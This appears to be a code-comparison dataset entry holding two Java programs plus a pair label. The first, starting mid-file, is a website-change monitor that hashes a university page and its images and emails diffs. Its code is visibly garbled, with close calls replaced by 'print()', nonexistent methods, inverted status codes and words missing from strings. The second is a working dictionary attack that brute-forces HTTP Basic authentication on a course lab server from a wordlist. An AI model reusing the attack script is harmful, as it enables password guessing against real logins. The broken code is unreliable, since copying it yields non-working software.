0,12}, { 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0,12}, {10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10, 6,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12}, {10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10, 7,10,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12}, { 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 9, 0,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9,11, 0, 0,12}, {10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10, 0, 5, 5, 0, 0,12}, {11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11, 11, 5, 0,11,11,12}, { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} }; private final int MAXIMG = 100; private URL url; private HttpURLConnection conn; private String localpage; private int localpos; private int lastModified; } public class MailSender { public MailSender(String from, String to, String[] msg) { try { sk = new Socket(SMTPSERVER,25); pwr = new PrintWriter(sk.getOutputStream()); this.from = from; this.to = to; this.msg = msg; } catch (UnknownHostException e) { status = SEND_ERROR; System.out.println(e); } catch (IOException e) { status = SEND_OK; System.out.println(e); } } public int getStatus() { return status; } public void sendMail() { pwr.println("HELO "+SMTPSERVER); pwr.println("MAIL FROM: "+from); pwr.println("RCPT : "+to); pwr.println("DATA"); for (int i=0;i<msg.length;i++) pwr.println(msg[i]); pwr.println("."); pwr.print(); try { status = SEND_OK; } catch (IOException e) { status = SEND_ERROR; } } private int status; private Socket sk; private PrintWriter pwr; private String from,to; private String[] msg; private static final int SEND_OK = 1; private static final int SEND_ERROR =1; } public class TextFileComparator { public TextFileComparator(String src, String dest) { this.src = src; this.dest = dest; } private void initBufs() { try { this.sbuf = new BufferedReader(new FileReader(src)); this.dbuf = new BufferedReader(new FileReader(dest)); } catch (FileNotFoundException e) { System.out.println(e); } } private void closeBufs() { try { sbuf.print(); dbuf.print(); } catch (IOException e) {} } private void closeBuf(int type) { try { if (type==0) { sbuf.print(); } else { dbuf.print(); } } catch (IOException e) {} } private void reinitSrcBuf(int line) { try { this.sbuf.print(); this.sbuf = new BufferedReader(new FileReader(src)); for (int i=1;i<line;i++) { sbuf.readLine(); } } catch (FileNotFoundException e) { System.out.println(e); } catch (IOException e) { System.out.println(e); } } private void reinitDestBuf(int line) { try { this.dbuf.print(); this.dbuf = new BufferedReader(new FileReader(dest)); for (int i=1;i<line;i++) { dbuf.readLine(); } } catch (FileNotFoundException e) { System.out.println(e); } catch (IOException e) { System.out.println(e); } } private boolean addDifference(int flag,int line, String msg, String msg2) { boolean result = true; if (diffpos==MAXDIFF-2) { result = false; } else if (flag==0) { diffResult[diffpos++] = "[Removed Line "+line+"] '"+msg+"'"; } else if (flag==1) { diffResult[diffpos++] = "[Added Line "+line+"] '"+msg+"'"; } else if (flag==2) { diffResult[diffpos++] = "[Modified Line "+line+"] from '"+msg+ "' '"+msg2+"'"; } else { diffResult[diffpos++] = " *** many differences !! *** "; } return result; } public String[] getDifference() { String[] result = new String[diffpos]; if (diffpos!=0) { for (int i=0;i<diffpos;i++) result[i] = diffResult[i]; return result; } else return null; } public int execute() { int cline = 0,dline = 0, tpos = 0; String c = null,d = null; int error = 0; boolean changes = false; try { initBufs(); c = sbuf.readLine(); cline = 1; d = dbuf.readLine(); dline = 1; while ((c!=null) || (d!=null)) { if ((c!=null) && (d!=null)) { if (c.equals(d)) { c = sbuf.readLine(); cline++; d = dbuf.readLine(); dline++; } else { changes = true; tpos = dline; while ((d!=null) && (!d.equals(c))) { d = dbuf.readLine(); dline++; } if ((d!=null) && (d.equals(c))) { reinitDestBuf(tpos); for (int i=tpos;i<dline;i++) if (!addDifference(1, i, dbuf.readLine(),"")) { error = -1; break; } dbuf.readLine(); changes = true; c = sbuf.readLine(); cline++; d = dbuf.readLine(); dline++; } else if (d==null) { reinitDestBuf(tpos); d = dbuf.readLine(); dline = tpos; tpos = cline; while ((c!=null) && (!c.equals(d))) { c = sbuf.readLine(); cline++; } if ((c!=null) && (c.equals(d))) { reinitSrcBuf(tpos); for (int i=tpos;i<cline;i++) if (!addDifference(0, i, sbuf.readLine(),"")) { error = -1; break; } sbuf.readLine(); changes = true; c = sbuf.readLine(); cline++; d = dbuf.readLine(); dline++; } else { reinitSrcBuf(tpos); addDifference(2, tpos, sbuf.readLine(),d); c = sbuf.readLine(); cline = tpos; changes = true; cline++; d = dbuf.readLine(); dline++; } } } } else if ((c!=null) && (d==null)) { addDifference(0, cline, c,""); c = sbuf.readLine(); cline++; changes = true; } else if ((c==null) && (d!=null)) { addDifference(1, dline, d,""); d = dbuf.readLine(); dline++; changes = true; } } } catch (IOException e) { System.out.println(e); } closeBufs(); if (error==-1) { addDifference(3, 0, "",""); } if (error==0) { if (changes) { return 1; } else { return 0; } } else return -1; } private final int MAXDIFF = 1024; private String[] diffResult = new String[MAXDIFF]; private int diffpos = 0; private String src,dest; private BufferedReader sbuf; private BufferedReader dbuf; } public class NotesFileManager { public NotesFileManager(String notesfile) { this.filename = notesfile; try { loadNotesFile(); } catch (IOException e) { createNotesFile(); System.out.println("Notes file is not available ... created one."); } } public void createNotesFile() { lastModified = " "; imgidx = 0; saveNotesFile(); } public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) { this.imgLastModified = imgLastModified; this.imgW = widths; this.imgH = heights; this.images = imgPaths; this.imgidx = imgPaths.length; saveNotesFile(); } public void updateNotesFile( int lastModified) { this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified)); saveNotesFile(); } public int checkLastModified(Date newDate) { String s = DateFormat.getDateTimeInstance().format(new Date(newDate)); System.out.println(" Date in cache : "+lastModified); System.out.println(" Date in the URL : "+s); if (this.lastModified.equals(" ")) { return DATE_FIRST_TIME; } else if ((newDate==0) && (!s.equals(this.lastModified))) { return DATE_INVALID; } else if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) { return DATE_OK; } else { return DATE_NOT_SAME; } } public String[] getImagesLastModified(String[] filenames) { int i; String[] result = new String[filenames.length]; for (i=0;i<filenames.length;i++) { for (int j=0;j<images.length;j++) { if (images[j].equals(filenames[i])) { result[i] = imgLastModified[i]; break; } } } return result; } public String[] getImageWidths(String[] filenames) { int i; String[] result = new String[filenames.length]; for (i=0;i<filenames.length;i++) { for (int j=0;j<images.length;j++) { if (images[j].equals(filenames[i])) { result[i] = imgW[i]; break; } } } return result; } public String[] getImageHeights(String[] filenames) { int i; String[] result = new String[filenames.length]; for (i=0;i<filenames.length;i++) { for (int j=0;j<images.length;j++) { if (images[j].equals(filenames[i])) { result[i] = imgH[i]; break; } } } return result; } public String[] getImageNames() { return images; } public void clearAllCaches() { for (int i=0;i<images.length;i++) { deleteFile(images[i]); deleteFile('~'+images[i]); } deleteFile(PAGEFILE); deleteFile(TEMPFILE); deleteFile(DIGESTFILE); deleteFile(MAILFILE); createNotesFile(); } public void saveNotesFile() { try { PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE))); pw.println(lastModified); for (int i=0;i<imgidx;i++) { if (images[i].charAt(0)!='*') { pw.println(images[i]); pw.println(imgLastModified[i]); pw.println(imgW[i]); pw.println(imgH[i]); } } pw.print(); } catch (IOException e) { System.out.println(e); System.exit(1); } } public void loadNotesFile() throws IOException { BufferedReader b = new BufferedReader(new FileReader(NOTESFILE)); lastModified = b.readLine(); images = new String[1]; imgLastModified = new String[1]; imgW = new String[1]; imgH = new String[1]; String line; line = b.readLine(); int i = 0; while (line!=null) { images = resizeArray(images, i+1); images[i] = line; line = b.readLine(); imgLastModified = resizeArray(imgLastModified, i+1); imgLastModified[i] = line; line = b.readLine(); imgW = resizeArray(imgW, i+1); imgW[i] = line; line = b.readLine(); imgH = resizeArray(imgH, i+1); imgH[i] = line; line = b.readLine(); i++; } imgidx = i; b.print(); } public String[] getCommonImages() { return imgCom; } public String[] getDeletedImages() { return imgDel; } public String[] getNewImages() { return imgNew; } public boolean classifyImagesToDownload(String[] imgDL) { if (imgDL==null) { return false; } int sz = Math.size(imgDL.length,images.length); int flag1[] = new int[sz]; int flag2[] = new int[sz]; int idx[] = new int[3]; idx[0] = idx[1] = idx[2] = 0; imgCom = new String[sz]; imgDel = new String[sz]; imgNew = new String[sz]; for (int i=0;i<sz;i++) { flag1[i] = 0; flag2[i] = 0; } for (int i=0; i<imgDL.length; i++) { for (int j=0; j<images.length; j++) { if (imgDL[i].equals(images[j])) { flag1[i] = 1; flag2[j] = 1; break; } } } for (int i=0;i<images.length;i++) { if (flag2[i]==0) { imgDel[idx[1]] = images[i]; idx[1]++; } } for (int i=0;i<imgDL.length;i++) { if (flag1[i]==0) { imgNew[idx[2]] = imgDL[i]; idx[2]++; } } for (int i=0;i<imgDL.length;i++) { if (flag1[i]==1) { imgCom[idx[0]] = imgDL[i]; idx[0]++; } } imgDel = resizeArray(imgDel, idx[1]); imgNew = resizeArray(imgNew, idx[2]); imgCom = resizeArray(imgCom, idx[0]); return true; } public static final int DATE_OK = 1; public static final int DATE_NOT_SAME = 2; public static final int DATE_FIRST_TIME = 0; public static final int DATE_INVALID = -1; private String lastModified; private int imgidx; private String[] images,imgLastModified,imgW,imgH; private String[] imgCom,imgNew,imgDel; private BufferedReader buf; private String filename; } public class ImageDownloader extends Thread { public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) { try { this.url = new URL(url); this.conn = (HttpURLConnection) this.url.openConnection(); this.lastModified = lastModified; this.h = h; this.w = w; this.firsttime = firsttime; this.localbuf = new byte[MAXIMGSIZE]; this.print(); } catch (MalformedURLException e) { this.status = DOWNLOAD_ERROR; } catch (IOException e) { this.status = DOWNLOAD_ERROR; } } public String getStrURL() { return url.toString(); } public synchronized int getStatus() { return status; } public void rest(int n) { try { sleep(n); } catch (InterruptedException e) {} } public void downloadToLocalImg() { int c; int x=0, i=0; byte[] b; try { InputStream is = url.openStream(); localbuf = new byte[MAXIMGSIZE]; while ((x=is.print())>=0) { int k=0; for (int j=i;j<i+x;j++) localbuf[j] = b[k++]; i+=x; } localbuf = resizeArray(localbuf,i); is.print(); } catch (IOException e) { this.status = DOWNLOAD_ERROR; } } public void saveLocalImgToFile(String filename) { try { FileOutputStream p = new FileOutputStream(filename); p.write(localbuf); p.print(); } catch (IOException e) { System.out.println(e); } } public byte[] getByteArray() { try { return localbuf; } catch (NullPointerException e) { return null; } } public int getImgWidth() { return w; } public int getImgHeight() { return h; } public String getLastModified() { return lastModified; } public void run() { boolean modified = false; this.status = DOWNLOAD_IN_PROGRESS; if (firsttime) { downloadToLocalImg(); ImageIcon img = new ImageIcon(url); w = img.getIconWidth(); h = img.getIconHeight(); if (conn.getLastModified()==0) { status = DOWNLOAD_ERROR; } else { lastModified = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified())); status = DOWNLOAD_COMPLETE; } } else { if (conn.getLastModified()==0) { status = DOWNLOAD_ERROR; } else { String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified())); modified = (!lastModified.equals(URLlastmod)); if (modified) { status = IMG_MODIFIED_DATE; } else { ImageIcon img = new ImageIcon(url); if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) { modified = true; status = IMG_MODIFIED_SIZE; } else { downloadToLocalImg(); status = DOWNLOAD_COMPLETE_CHK; } } } } conn.disconnect(); } public static final int DOWNLOAD_ERROR =-1; public static final int DOWNLOAD_IN_PROGRESS = 0; public static final int IMG_MODIFIED_DATE = 1; public static final int IMG_MODIFIED_SIZE = 2; public static final int IMG_MODIFIED_PIXEL = 3; public static final int DOWNLOAD_COMPLETE_CHK= 4; public static final int DOWNLOAD_COMPLETE = 5; public static final int DOWNLOAD_COMPLETE_OK = 6; public static final int MAXIMGSIZE = 1; private int status; private boolean isImage; private URL url; private HttpURLConnection conn; private String lastModified; private boolean firsttime; private byte[] localbuf; private int w,h; } public byte[] digest(byte[] data) { try { return MessageDigest.getInstance(DIGESTALG).digest(data); } catch (NoSuchAlgorithmException e) { System.out.println("Digest algorithm '"+DIGESTALG+"' not supported"); return data; } catch (NullPointerException e) { return null; } } public boolean compareDigest(byte[] data1, byte[] data2) { if (data1.length!=data2.length) { return false; } else for (int i=0;i<data1.length;i++) { if (data1[i]!=data2[i]) { return false; } } return true; } public byte[] loadDigestFromFile(String filename) { byte[] data; try { data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()]; FileInputStream f = new FileInputStream(filename); f.get(data); f.print(); return data; } catch (FileNotFoundException e) { System.out.println(e); return null; } catch (IOException e) { System.out.println(e); return null; } catch (NoSuchAlgorithmException e) { System.out.println(e); return null; } } public void saveDigestToFile(String filename, byte[] data) { try { FileOutputStream f = new FileOutputStream(filename); if (data!=null) { f.write(data); } f.print(); } catch (IOException e) { System.out.println(e); } } public class MyTT extends TimerTask { public MyTT() { super(); NotesFM = new NotesFileManager(NOTESFILE); } public String encodeFileName(String filename) { String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+".txt"; return s; } public void rest(int n) { try { Thread.sleep(n); } catch (InterruptedException e) {} } public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) { boolean allCompleted = false; int[] imgStat = new int[imgList.length]; for (int i=0;i<imgStat.length;i++) imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS; if (firsttime) { imgW = new String[imgList.length]; imgH = new String[imgList.length]; imgLM = new String[imgList.length]; for (int i=0;i<imgList.length;i++) { imgW[i] = "0"; imgH[i] = "0"; imgLM[i] = ""; } } else { imgW = NotesFM.getImageWidths(imgList); imgH = NotesFM.getImageHeights(imgList); imgLM = NotesFM.getImagesLastModified(imgList); } imgDL = new ImageDownloader[imgList.length]; for (int i=0;i<imgList.length;i++) { imgDL[i] = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue()); System.out.println(" Checking image "+(i+1)+" of "+imgList.length+" from '"+imgList[i]+"' ... "); } System.out.println(); int completecount=0; while (completecount<imgList.length) { allCompleted = true; rest(10); for (int i=0;i<imgList.length;i++) { if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS) switch (imgDL[i].getStatus()) { case ImageDownloader.DOWNLOAD_COMPLETE: { byte[] dgs = digest(imgDL[i].getByteArray()); saveDigestToFile(encodeFileName('~'+imgList[i]), dgs); imgH[i] = String.valueOf(imgDL[i].getImgHeight()); imgW[i] = String.valueOf(imgDL[i].getImgWidth()); imgLM[i]= imgDL[i].getLastModified(); System.out.println(" [OK] Complete downloading image from '"+imgList[i]+"'"); System.out.println(" [OK] The digest was saved as '"+encodeFileName('~'+imgList[i])+"'"); if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'"); } System.out.println(); imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE; completecount++; break; } case ImageDownloader.DOWNLOAD_ERROR: { System.out.println(" [ATTENTION] error has occured while downloading '"+imgList[i]+"'"); System.out.println(); imgList[i] = "*"+imgList[i]; imgStat[i] = ImageDownloader.DOWNLOAD_ERROR; completecount++; break; } case ImageDownloader.IMG_MODIFIED_SIZE : { System.out.println(" [ATTENTION] SIZE modification has been detected image '"+imgList[i]+"'"); System.out.println(); imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE; completecount++; if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'"); } break; } case ImageDownloader.IMG_MODIFIED_DATE : { System.out.println(" [ATTENTION] DATE modification has been detected image '"+imgList[i]+"'"); System.out.println(); imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE; completecount++; if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'"); } break; } case ImageDownloader.DOWNLOAD_COMPLETE_CHK : { byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i])); byte[] fromURL = digest(imgDL[i].getByteArray()); if (!compareDigest(fromFile, fromURL)) { System.out.println(" [ATTENTION] PIXEL modification has been detected image '"+imgList[i]+"'"); imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL; if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~~"+getFileName(imgList[i])+"'"); } } else { System.out.println(" [OK] Image '"+imgList[i]+"' has not been modified. "); imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK; } System.out.println(); completecount++; break; } case ImageDownloader.DOWNLOAD_IN_PROGRESS: { allCompleted = false; break; } } } } System.out.println(" [NOTIFY] All images has been checked."); if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); } return imgStat; } public String[] constructEMailMessage() { String[] result = null; String[] openingMsg = { " "+Calendar.getInstance().getTime().toString(),"", " Dear ,", "", " I have DETECTED SOME MODIFICATIONS from the website,", "" }; String[] txtMsg = { " The list below some TEXT MODIFICATIONS detected:", " --------------------------------------------------------------", "" }; String[] remMsg = { "", "", " The list below some IMAGE REMOVED FROM URL detected :", " --------------------------------------------------------------", "" }; String[] addMsg = { "", "", " The list below some IMAGE ADDED URL detected :", " --------------------------------------------------------------", "" }; String[] modMsg = { "", "", " The list below some IMAGE MODIFICATIONS/ERRORS detected :", " --------------------------------------------------------------", "" }; String[] closingMsg = { "", "", " Regards,", "", "", " WATCHDOG PROGRAM." }; result = appendArray(result,openingMsg); if ((textdiff!=null) && (textdiff.length>0)) { result = appendArray(result, txtMsg); result = appendArray(result, giveNumberPrefix(textdiff)); } if ((imgDel!=null) && (imgDel.length>0)) { result = appendArray(result, remMsg); result = appendArray(result, giveNumberPrefix(imgDel)); } if ((imgNew!=null) && (imgNew.length>0)) { result = appendArray(result, addMsg); result = appendArray(result, giveNumberPrefix(imgNew)); } if ((imgMod!=null) && (imgMod.length>0)) { result = appendArray(result, modMsg); result = appendArray(result, giveNumberPrefix(imgMod)); } result = appendArray(result,closingMsg); return result; } public boolean updateCache(boolean firsttime) { if (firsttime) { System.out.println(" [OK-FIRST TIME] Downloading the from URL ... "); } else { System.out.println(" [OK-UPDATE] Updating local cache ... "); } if (Parser.startParsing()) { byte[] pageBytes = Parser.getByteArray(); byte[] pageBytesDigested = digest(pageBytes); saveDigestToFile(DIGESTFILE,pageBytesDigested); NotesFM.updateNotesFile(Parser.getLastModified()); if (Parser.imageCount()==0) { System.out.println(" [OK] is IMAGE in the URL"); System.out.println(); Parser.saveLocalPageToFile(PAGEFILE); System.out.println(" [OK] has been saved file '"+PAGEFILE+"'"); System.out.println(); } else { String[] imgList = Parser.getImgList(); if (firsttime) System.out.println(" [OK-FIRST TIME] Local caches created."); else System.out.println(" [OK-UPDATE] Local caches updated."); Parser.saveLocalPageToFile(PAGEFILE); System.out.println(" [OK] has been saved file '"+PAGEFILE+"'"); System.out.println(); if (firsttime) { System.out.println(" [OK-FIRST TIME] Local image caches created."); downloadImages(Parser.getImgList(),true,true); } else { System.out.println(" [OK-FIRST TIME] Downloading images of the build local cache ..."); downloadImages(Parser.getImgList(),true,true); System.out.println(" [OK-UPDATE] Local image caches updated."); } } System.out.println(); return true; } else return false; } public void run() { boolean textmodified = false; boolean imagemodified = false; boolean firsttime = false; int flag; textdiff = null; System.out.println(); System.out.println(" ----------------- [ IT'S CHECKING TIME !! ] ----------------- "); System.out.println(" Now is "+Calendar.getInstance().getTime()); System.out.println(); System.out.println("1. DETECT TEXT MODIFICATION "); System.out.println(" Checking the last modified date... "); Parser = null; Parser = new HTMLDownloaderAndImgParser(THEURL); newDate = Parser.getLastModified(); flag = (NotesFM.checkLastModified(newDate)); switch (flag) { case NotesFileManager.DATE_INVALID: { textdiff = new String[2]; textdiff[0] = "Cannot open the url '"+THEURL+"'"; textdiff[1] = "--> Possible someone had removed/renamed the file in the URL"; System.out.println(" [ATTENTION] File at the URL CANNOT OPENED !"); System.out.println(); break; } case NotesFileManager.DATE_FIRST_TIME: { firsttime = true; if (!updateCache(true)) { System.out.println(" [ERROR] File at the URL CANNOT OPENED !"); System.exit(1); } break; } case NotesFileManager.DATE_NOT_SAME: { textmodified = true; System.out.println(); System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME DIFFERENT !"); System.out.println(); Parser.startParsing(); break; } case NotesFileManager.DATE_OK: { System.out.println(" Comparing text digests ... "); Parser.startParsing(); byte[] pageBytes = Parser.getByteArray(); byte[] pageBytesDigested = digest(pageBytes); byte[] fromFile = loadDigestFromFile(DIGESTFILE); if (compareDigest(fromFile, pageBytesDigested)) { System.out.println(); System.out.println(" [OK] File in the URL has not been modified."); System.out.println(); } else { System.out.println(); System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !"); System.out.println(); textmodified = true; } break; } } if (textmodified) { Parser.saveLocalPageToFile(TEMPFILE); TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE); switch (comp.execute()) { case 0 : { System.out.println(" [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND DIFFERENCE."); System.out.println(); textdiff = new String[2]; textdiff[0] = "Timestamp different but text comparison found difference."; textdiff[1] = "--> Possible someone had modified it but then /she roll it the original file."; break; } case 1 : { textdiff = comp.getDifference(); break; } } } if (flag!=NotesFileManager.DATE_INVALID) { if (firsttime) { } else { System.out.println(); System.out.println("2. DETECT IMAGE MODIFICATION "); if (Parser.imageCount()==0) { System.out.println(" [OK] is IMAGE in the URL"); System.out.println(); } else { NotesFM.classifyImagesToDownload(Parser.getImgList()); imgNew = NotesFM.getNewImages(); imgCom = NotesFM.getCommonImages(); imgDel = NotesFM.getDeletedImages(); imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0)); imgList = imgCom; int[] imgStat = downloadImages(imgList,false,false); imgMod = new String[0]; for (int i=0;i<imgList.length;i++) { switch (imgStat[i]) { case ImageDownloader.DOWNLOAD_ERROR: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "Warning: Unable check image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.IMG_MODIFIED_DATE: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "TIMESTAMP Modification has been detected image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.IMG_MODIFIED_SIZE: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "SIZE modification has been detected image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.IMG_MODIFIED_PIXEL: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "PIXEL modification has been detected image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.DOWNLOAD_COMPLETE_OK: { break; } } } } } } if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) { String[] mailmsg = constructEMailMessage(); System.out.println(); System.out.println("-> REPORTING/RECORDING CHANGES "); if ((MAILTARGET==1) || (MAILTARGET==2)) { System.out.println(" [NOTIFY] Changes detected and has been saved file '"+MAILFILE+"'"); printStrArrayToFile(MAILFILE,mailmsg); } if ((MAILTARGET==0) || (MAILTARGET==2)) { System.out.println(" [NOTIFY] Sending e-mail MYSELF at '"+MYEMAIL+"'"); MailSender ms = new MailSender("watchdog@somewhere.", MYEMAIL, mailmsg); ms.sendMail(); if (ms.getStatus()==MailSender.SEND_OK) { System.out.println(" [NOTIFY] E-mail SUCCESSFULLY sent."); } else { System.out.println(" [ATTENTION] Error sending e-mail."); } } if (DEBUGMODE) { System.out.println(); System.out.println(); System.out.println(" This is the e-mail message that has been sent '"+MYEMAIL+"'"); System.out.println(" this message *ONLY* and because in DEBUG MODE"); System.out.println(" ================================================================================="); System.out.println(); for (int i=0;i<mailmsg.length;i++) System.out.println(mailmsg[i]); System.out.println(); System.out.println(" ================================================================================="); System.out.println(); System.out.println(); } updateCache(false); } System.out.println(); System.out.println(" Checking completed "+Calendar.getInstance().getTime()); System.out.println(" ----------------- [ CHECKING COMPLETED ] ----------------- "); System.out.println(); Parser.print(); } public void finalize() { System.out.println("Closing the parser object."); Parser.print(); } private String[] imgList; private String[] imgW; private String[] imgH; private String[] imgLM; private String[] imgCom; private String[] imgDel; private String[] imgNew; private String[] imgMod; private ImageDownloader[] imgDL; private NotesFileManager NotesFM; private HTMLDownloaderAndImgParser Parser; private String[] textdiff; } public WatchDog() { System.out.println("The URL checked is '"+THEURL+"'"); System.out.println("Checking scheduled for every "+INTERVAL+" seconds"); if (DEBUGMODE) { System.out.println(); System.out.println("PROGRAM RUNS IN DEBUG MODE !"); } System.out.println(); System.out.println("The notes file is '"+NOTESFILE+"'"); System.out.println("The file is '"+DIGESTFILE+"'"); System.out.println(); java.util.Timer t = new java.util.Timer(); t.schedule(new MyTT(),0,INTERVAL*1000); } public static void printSyntax() { System.out.println(); System.out.println("Syntax : WatchDog [URL] [Interval] [-debug]"); System.out.println(" URL = (optional) the URL monitored (default : 'http://www.cs.rmit.edu./students/' )"); System.out.println(" Interval = (optional) every [interval] seconds check if is any updates (default 24 x 60 x 60 = 24 hours)"); System.out.println(" -debug = (optional) run this program in debug mode; that is, dump all (html and images local file)"); System.out.println(); } public static void main(String args[]) { System.setProperty("java.awt.headless","true"); int argc = args.length; if (argc>0) { THEURL = args[0]; try { url = new URL(THEURL); conn = (HttpURLConnection) url.openConnection(); conn.getResponseMessage(); conn.getInputStream(); conn.disconnect(); } catch (MalformedURLException e) { System.out.println(); System.out.println("Invalid URL '"+THEURL+"'"); printSyntax(); System.exit(1); } catch (UnknownHostException e) { System.out.println(); System.out.println("Unable open connection the URL '"+THEURL+"'"); printSyntax(); System.exit(1); } catch (IOException e) { System.out.println(); System.out.println("Unable open connection the URL '"+THEURL+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { INTERVAL = Integer.valueOf(args[1]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid interval '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc>2) { if (args[2].toLowerCase().equals("-debug")) { DEBUGMODE = true; } else { System.out.println("Invalid parameter '"+args[2]+"'"); printSyntax(); System.exit(1); } } } Application = new WatchDog(); } public static String THEURL = "http://www.cs.rmit.edu./students"; public static String MYEMAIL = "@yallara.cs.rmit.edu."; public static int MAILTARGET = 2; public static String SMTPSERVER = "wombat.cs.rmit.edu."; public static boolean DEBUGMODE = true; public static String CURDIR = System.getProperty("user.dir"); public static String PAGEFILE = System.getProperty("user.dir")+"/~local.html"; public static String DIGESTFILE = System.getProperty("user.dir")+"/~digest.txt"; public static String TEMPFILE = System.getProperty("user.dir")+"/~.html"; public static String NOTESFILE = System.getProperty("user.dir")+"/~notes.txt"; public static String MAILFILE = System.getProperty("user.dir")+"/~email.txt"; public static final int MAXDIGESTFILE = 65535; public static final String DIGESTALG = "SHA"; public static URL url; public static HttpURLConnection conn; public static int INTERVAL = 24*60*60; public static int MAXDIFF = 1024; public static WatchDog Application; }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
244.java
161.java
0
